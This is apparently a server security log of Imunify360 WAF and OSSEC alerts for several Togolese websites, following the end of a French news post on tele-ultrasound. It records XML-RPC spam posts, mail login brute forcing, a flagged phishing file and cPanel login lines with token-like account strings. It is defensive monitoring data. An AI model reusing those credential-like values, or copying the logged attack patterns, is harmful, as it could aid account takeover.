class=\"wp-image-31146\" style=\"width:486px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>avant la mise en service officielle, une phase cruciale a \xc3\xa9t\xc3\xa9 consacr\xc3\xa9e \xc3\xa0 la formation technique des prestataires de sant\xc3\xa9 locaux. d\xc3\xa9sormais, les dispositifs sont enti\xc3\xa8rement install\xc3\xa9s et op\xc3\xa9rationnels au sein des structures b\xc3\xa9n\xc3\xa9ficiaires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons que l\xe2\x80\x99introduction de la t\xc3\xa9l\xc3\xa9-\xc3\xa9chographie dans ces localit\xc3\xa9s r\xc3\xa9pond \xc3\xa0 des enjeux de sant\xc3\xa9 publique majeurs. cette technologie permet \xc3\xa0 un m\xc3\xa9decin g\xc3\xa9n\xc3\xa9raliste ou \xc3\xa0 une sage-femme sur place, de r\xc3\xa9aliser l'examen, tandis qu'un sp\xc3\xa9cialiste bas\xc3\xa9 \xc3\xa0 distance (dans les grands centres de sant\xc3\xa9) peut interpr\xc3\xa9ter les images en temps r\xc3\xa9el.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour le gouvernement togolais, le d\xc3\xa9ploiement de ces \xc3\xa9quipements s\xe2\x80\x99inscrit en ligne droite dans la feuille de route strat\xc3\xa9gique, ax\xc3\xa9e sur la digitalisation du syst\xc3\xa8me de sant\xc3\xa9 et la modernisation de l\xe2\x80\x99offre de soins. \xc3\x80 terme, l\xe2\x80\x99extension progressive de la t\xc3\xa9l\xc3\xa9-\xc3\xa9chographie \xc3\xa0 d\xe2\x80\x99autres formations sanitaires du pays devrait renforcer davantage la lutte nationale contre la mortalit\xc3\xa9 maternelle et n\xc3\xa9onatale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31157,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/18d98b1d-0295-41c7-afab-fc9c13606bd0-724x1024.jpg\" alt=\"\" class=\"wp-image-31157\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>gr\xc3\xa2ce \xc3\xa0 la sant\xc3\xa9 num\xc3\xa9rique (e-sant\xc3\xa9), le togo confirme sa volont\xc3\xa9 de garantir une couverture sanitaire universelle et d'offrir des soins de qualit\xc3\xa9 \xc3\xa0 chaque future m\xc3\xa8re, peu importe son lieu de r\xc3\xa9sidence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 2.32.201.121
country_id: 3175395
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cece2c159b5c615d83d71127af0f9bdb44e74f50||Title:vpagaq7jx7vlii69xp||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.176.175
country_id: 248816
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/IMG_20260609_103051_418-768x448.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/IMG_20260609_103051_418-300x175.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/IMG_20260609_103051_418-1024x597.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/IMG_20260609_103051_418-1536x896.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/06/IMG_20260609_103051_418-2048x1194.webp 2048w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.85.168.253
country_id: 732800
description:
Jun 17 12:48:12 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.85.168.253 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 2.32.201.121
country_id: 3175395
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3b37b75a8dd52816fdf170212b635a81e49cf790||Title:p1d0lbk9yluhsi8f||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.85.168.253
country_id: 732800
description:
2026-06-17 12:48:14 dovecot_login authenticator failed for H=77-85-168-253.ip.btc-net.bg (yUqDiM) [77.85.168.253]:51698: 535 Incorrect authentication data (set_id=kitantoine@atms.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:48:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197393&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781700505 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.145
country_id: 3175395
description:
Jun 17 12:50:30 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.145 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 150.228.105.154
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/391c032e-95f3-467d-ae34-26a086bf93a4-768x576.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/391c032e-95f3-467d-ae34-26a086bf93a4-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/391c032e-95f3-467d-ae34-26a086bf93a4.webp 1016w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.104.44
country_id: 3469034
description:
Jun 17 12:50:53 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.104.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.188.227.237
country_id: 337996
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/940726098 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.39.179.203
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2022934774 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:52:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:53:01 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.92.218
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/8e887b HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.120.21.58
country_id: 294640
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/988d92 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.86.14
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/11/IMG-20211101-WA0077.jpg 1016w, http:/togodailynews.tg/wp-content/uploads/2021/11/IMG-20211101-WA0077-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2021/11/IMG-20211101-WA0077-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2021/11/IMG-20211101-WA0077-272x182.jpg 272w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.91.66.182
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2019/12/IMG-20191217-WA0015.jpg 640w, http:/togodailynews.tg/wp-content/uploads/2019/12/IMG-20191217-WA0015-300x212.jpg 300w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:55:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7431012&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781700943 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:12:55:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10078319&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781700944 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:12:55:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379356&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781700942 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.129
country_id: 1880251
description:
47.128.121.129 - - [17/Jun/2026:12:56:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065308&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fforages-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781700990 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/tag/forages-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.129


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.99.153.214
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/06/1-1.webp 1080w, http:/togodailynews.tg/wp-content/uploads/2025/06/1-1-300x177.webp 300w, http:/togodailynews.tg/wp-content/uploads/2025/06/1-1-1024x605.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2025/06/1-1-768x454.webp 768w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.19.255.129
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/657b96 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.112.182.21
country_id: 6252001
description:
2026-06-17 13:00:27 dovecot_plain authenticator failed for H=ool-4570b615.dyn.optonline.net (h3wd1pfbpvxh5nti92l0gk2) [69.112.182.21]:49143: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.244.100.242
country_id: 1562822
domain: www.cloud-et-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cloud-et-racks.tg/?trk=public_post-text HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.244.100.242
country_id: 1562822
domain: www.cloud-et-racks.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cloud-et-racks.tghttp/www.cloud-et-racks.tg/?trk=public_post-text HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 69.112.182.21
country_id: 6252001
description:
Jun 17 13:00:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 69.112.182.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:04:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7115668&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781701452 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.98.186
country_id: 2589581
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/css/style.css HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 66.95.216.121
country_id: 1880251
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/css/style2.css HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.250.172
country_id: 6290252
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/images/logo/logo.png HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.121.180
country_id: 587116
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/images/other/image-school-begin.jpg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.111.153
country_id: 3865483
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/css/owl-carousel/owl.theme.default.min.css HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.86.229
country_id: 298795
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/images/other/image-rencontre.jpg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.252.123
country_id: 102358
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/uploads/images/217.jpg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.249.191
country_id: 798549
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/uploads/images/410.jpg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.70.189
country_id: 3057568
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/uploads/images/272.jpg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.208.157
country_id: 290557
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/uploads/images/213.png HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.121.180
country_id: 587116
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/images/other/image-djama-pilsner.jpg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.1.91
country_id: 2658434
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/uploads/images/620.jpg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.250.225
country_id: 3686110
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/images/other/image-djama-lager-show.jpg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:07:50 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:07:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.160.174.11
country_id: 1269750
domain: hotelyabisso.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:67794.hotelyabisso.com||ServerName:hotelyabisso.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:46cb75f0d6836d3633655b72ef78a362aecb615d||Title:0xe5a97b4f||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.250.172
country_id: 6290252
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/uploads/images/291.jpg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:10:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6734951&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781701796 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:13:10:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12937879&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781701801 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.124
country_id: 1880251
description:
47.128.96.124 - - [17/Jun/2026:13:12:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117214&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fexcelia-consulting%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781701937 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/excelia-consulting/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.124


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.175.119
country_id: 2363686
description:
[2026-06-17 13:11:56 +0000] info [cpaneld] 102.64.175.119 NEW zephyradmin:CKveiy7yJVqndJrJ address=102.64.175.119,app=cpaneld,creator=zephyradmin,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.158
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.044051410383365.php||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.177
country_id: 6252001
description:
[2026-06-17 13:13:37 +0000] info [cpaneld] 107.175.5.177 NEW ifxmoxbf:4TE9XKyYzvhogKsL address=107.175.5.177,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 13:13:58 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 13:14:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:16530: 535 Incorrect authentication data (set_id=oqwrqoqwrwq)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.179.177
country_id: 3017382
domain: crepsad.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:148.135.179.177||TA:148.135.179.177||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.240.232.204
country_id: 3017382
domain: www.djama.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg:80/css/bootstrap.min.css HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.177.200.241
country_id: 3865483
description:
Jun 17 13:15:26 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.177.200.241 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.119.182.150
country_id: 2921044
domain: crepsad.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:92.119.182.150||TA:92.119.182.150||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 13:19:18 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 13:19:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:64948: 535 Incorrect authentication data (set_id=oqwrqoqwrwq)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 178.58.26.107
country_id: 3190538
description:
